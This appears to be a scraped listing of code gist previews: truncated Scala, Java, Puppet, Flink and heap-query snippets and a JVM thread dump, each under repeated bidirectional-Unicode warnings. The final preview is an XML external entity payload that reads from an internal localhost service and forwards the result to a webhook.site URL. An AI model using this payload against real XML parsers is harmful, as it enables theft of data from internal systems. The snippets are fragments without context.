This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class BooleanWrapper(var value:Boolean) { | |
def ===(check:Boolean) = check == value | |
def stop() = value = !value | |
} | |
class Person(isSad: BooleanWrapper = new BooleanWrapper(true)) { | |
def sad() = isSad | |
def beAwesome() { } | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.*; | |
import java.util.concurrent.CountDownLatch; | |
import static java.nio.charset.StandardCharsets.*; | |
public class Foo { | |
/* Contents of my-test : | |
#!/usr/bin/env python | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
object Main { | |
def main(args: Array[String]) { | |
val list = Seq("m1", "m2", "m3", "m4") | |
val x = list.map(new Magic().setAdvertisementUrn) | |
println(x) | |
val y = list.map(new Magic2().setAdvertisementUrn) | |
println(y) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sum(map(heap.objects("org.elasticsearch.common.cache.LocalCache$StrongAccessEntry"),function(it){ | |
return 1; | |
})); | |
RESULT : | |
162771 | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Puppet::Parser::Functions | |
newfunction(:aes_encrypt, :type => :rvalue) do |args| | |
clear_text = args[0] | |
passphrase = args[1] | |
..... | |
end | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.Calendar; | |
import java.util.GregorianCalendar; | |
public class Main { | |
public static void main(String[] args) { | |
Calendar result = new GregorianCalendar(); | |
result.setFirstDayOfWeek(Calendar.MONDAY); | |
result.setLenient(false); | |
result.set(Calendar.YEAR, 2004); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"main" prio=5 tid=7fd9c0800800 nid=0x10cc09000 runnable [10cc07000] | |
java.lang.Thread.State: RUNNABLE | |
at java.io.FileInputStream.read(Native Method) | |
at jline.Terminal.readCharacter(Terminal.java:99) | |
at jline.UnixTerminal.readVirtualKey(UnixTerminal.java:128) | |
at jline.ConsoleReader.readVirtualKey(ConsoleReader.java:1453) | |
at sbt.PlayCommands$class.waitEOF$1(PlayCommands.scala:38) | |
at sbt.PlayCommands$class.sbt$PlayCommands$$waitForKey(PlayCommands.scala:46) | |
at sbt.PlayCommands$$anonfun$61$$anonfun$63.apply(PlayCommands.scala:678) | |
at sbt.PlayCommands$$anonfun$61$$anonfun$63.apply(PlayCommands.scala:534) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.util.concurrent.CountDownLatch; | |
import java.util.concurrent.TimeUnit; | |
public class Hiker { | |
private static final class MyRunnable implements Runnable { | |
private final CountDownLatch latch; | |
private final long timeToSpendInThread; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.ecg.foo | |
import java.io.Serializable | |
import org.apache.flink.api.scala._ | |
import org.apache.flink.streaming.api.TimeCharacteristic | |
import org.apache.flink.streaming.api.datastream.DataStreamSink | |
import org.apache.flink.streaming.api.scala.StreamExecutionEnvironment | |
import org.apache.flink.streaming.api.windowing.assigners.TumblingProcessingTimeWindows | |
import org.apache.flink.streaming.api.windowing.time.Time |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % payl SYSTEM "http://localhost:1234"> | |
<!ENTITY % int "<!ENTITY % trick SYSTEM 'https://webhook.site/b2f18246-abf9-4689-9e2c-db46bb845c21?%payl;'>"> |
OlderNewer